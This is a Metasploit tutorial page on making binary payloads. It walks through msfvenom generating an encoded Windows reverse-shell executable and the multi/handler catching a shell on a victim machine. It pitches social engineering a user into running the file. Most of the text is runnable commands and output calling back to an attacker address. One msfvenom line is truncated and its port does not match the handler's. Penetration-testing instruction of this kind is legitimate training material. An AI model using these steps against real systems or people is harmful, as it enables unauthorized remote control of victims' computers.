Binary Payloads

It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering; if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.

Let's look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this, we will use the command line tool **msfvenom**. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the '**-f exe**' option.

We'll generate a Windows reverse shell executable that will connect back to us on port 31337.

```
root@kali:~# msfvenom --payload-options -p windows/shell/reverse_tcp
Options for payload/windows/shell/reverse_tcp:


       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 281
       Rank: Normal

Provided by:
    spoonm
    sf
    hdm
    skape

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker
```

```
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=3
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
Saved as: /tmp/1.exe

root@kali:~# file /tmp/1.exe
/tmp/1.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

Now we see we have a Windows executable ready to go. Now, we will use **multi/handler**, which is a stub that handles exploits launched outside of the framework.

```
root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
```

When using the **exploit/multi/handler** module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.

```
msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
```

```
Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >
```

Now that we have everything set up and ready to go, we run **exploit** for the **multi/handler** and execute our generated executable on the victim. The **multi/handler** handles the exploit for us and presents us our shell.

```
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victim\My Documents>
```